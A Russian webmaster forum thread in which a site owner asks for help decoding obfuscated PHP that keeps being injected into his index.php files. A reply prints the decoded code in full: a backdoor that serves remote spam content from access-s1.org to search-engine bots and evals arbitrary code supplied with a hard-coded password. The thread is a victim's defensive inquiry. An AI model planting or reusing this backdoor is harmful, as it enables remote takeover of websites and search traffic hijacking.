X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Помогите расшифровать
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 1:13; Ответить: dimka1109
Сообщение #1


<?php $x12="\143ur\x6c\x5fi\156\151\164"; $x13="\143u\x72\154\x5fse\x74\157\x70t"; $x14="\143\165rl\137\x65\170\x65c"; $x15="curl_c\154o\163\x65"; $x16="\145\x76al"; $x17="fi\154\x65\x5fg\x65\x74\137\x63\x6f\156te\156ts"; $x18="functi\157n\137e\x78i\x73\x74\163"; $x19="in\x69_\147\145\x74"; $x1a="\x70\x72\x65g\x5f\x6d\x61t\143\x68"; $x1b="s\164\162ip\x73\154ashe\163"; $x1c="\x75rl\x65\156\143o\144\145";
error_reporting(0);$x0b = "\x68\164\x74p\072\057\x2f\141\x63\143e\163s-\163\061.\x6f\x72\x67\x2fi\156\x64\x65\x78\141\164o\162\061/\147\145\164\x2e\x70h\160"; $x0c = "\0612\x333\062\x31\x71\161";if ($x1a("\057\050\x79\x61n\144e\170\x7cgo\157\x67l\145)/\x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("\150\x74\x74p\x3a\x2f/".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."\077\x69\x64=".$x0d."\046\x63h\x61\x72\163et\075\x75\046\142o\164\x3d".$x0e; if($x19("\x61l\154\x6fw\137ur\x6c\x5f\146\x6f\160\x65\x6e") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."?\x63\157de\x3d\x63od\145\046\x62\x6ft\x3d".$x0e;if($x19("al\x6c\x6fw\x5f\165\x72\154_\146o\160\145\156") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["c"] == $x0c) $x16($x1b($_REQUEST["c\157\x64\x65"])); ?>


Пихают и пихают этот код мне на сайты, помогите расшифровать)
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 13.1.2013, 1:22; Ответить: Belos
Сообщение #2


С расшифровкой не помогу. В какой файл запихивают? Какие права на файл стоят?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 1:30; Ответить: dimka1109
Сообщение #3


Belos,

пихают в индекс.пхп и после стали они ставить права 444
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 13.1.2013, 1:37; Ответить: Belos
Сообщение #4


Меняйте пароли
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 1:40; Ответить: dimka1109
Сообщение #5


шелл залит скорее всего , не думаю что в пассах дело
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
White_Lion
White_Lion
сообщение 13.1.2013, 5:08; Ответить: White_Lion
Сообщение #6


Движок какой?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
KipiaSoft
KipiaSoft
сообщение 13.1.2013, 9:16; Ответить: KipiaSoft
Сообщение #7


(dimka1109 @ 13.1.2013, 1:13) *
Пихают и пихают этот код мне на сайты, помогите расшифровать)

тут время не на расшифровку тратить нужно, а на поиск и устранение уязвимости.
Попробуйте айболитом про сканировать свой сайт _http://revisium.com/ai/


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
neoBuT
neoBuT
сообщение 13.1.2013, 14:59; Ответить: neoBuT
Сообщение #8


Что за движок ?


--------------------
Просто сайт о богато
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 13.1.2013, 16:00; Ответить: x64
Сообщение #9


Развернуть/Свернуть
<?php
error_reporting(0);

$x0b = "http://access-s1.org/indexator1/get.php";
$x0c = "123321qq";
if (preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT'])) {
    $x0d = urlencode("http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);
    $x0e = urlencode($_SERVER['HTTP_USER_AGENT']);
    $x0f = $x0b."?id=".$x0d."&charset=u&bot=".$x0e;
    if (ini_get("allow_url_fopen") == 1) {
        echo file_get_contents($x0f);
    } elseif (function_exists('curl_init')) {
        $x10 = curl_init($x0f);
        curl_setopt($x10, CURLOPT_HEADER, FALSE);
        curl_setopt($x10, CURLOPT_RETURNTRANSFER, TRUE);
        $x11 = curl_exec($x10);
        curl_close($x10);
        echo $x11;
    }
}

$x0f = $x0b."?code=code&bot=".$x0e;
if (ini_get("allow_url_fopen") == 1) {
    echo file_get_contents($x0f);
} elseif (function_exists('curl_init')) {
    $x10 = curl_init($x0f);
    curl_setopt($x10, CURLOPT_HEADER, FALSE);
    curl_setopt($x10, CURLOPT_RETURNTRANSFER, TRUE);
    $x11 = curl_exec($x10);
    curl_close($x10);
    echo $x11;
}
if($_REQUEST["c"] == $x0c) eval(stripslashes($_REQUEST["code"]));


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
neoBuT
neoBuT
сообщение 13.1.2013, 18:47; Ответить: neoBuT
Сообщение #10


судя по расшифровке комуниздят трафик поисковой ...


--------------------
Просто сайт о богато
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите вспомнить рекламного бота Телеграм для обмена рекламой
0 Mixatraider 725 21.2.2024, 23:42
автор: Mixatraider
Открытая тема (нет новых ответов) Помогите рещить проблему с монитором.
Почему низкое разрешение при подключении монитора через displayport?
0 Levels 1702 11.12.2020, 0:48
автор: Levels
Открытая тема (нет новых ответов) Помогите кто нибудь получить партнерку Росбанк!
7 heisenberg_mw 2340 7.8.2020, 9:28
автор: heisenberg_mw
Открытая тема (нет новых ответов) Помогите найти тему пожалуйста
7 virtas 12461 24.7.2020, 17:02
автор: -JamesSmips-
Открытая тема (нет новых ответов) Помогите с поиском доноров
3 tehno_music 3351 4.11.2019, 17:15
автор: goblin78


 



RSS Текстовая версия Сейчас: 18.4.2024, 13:41
Дизайн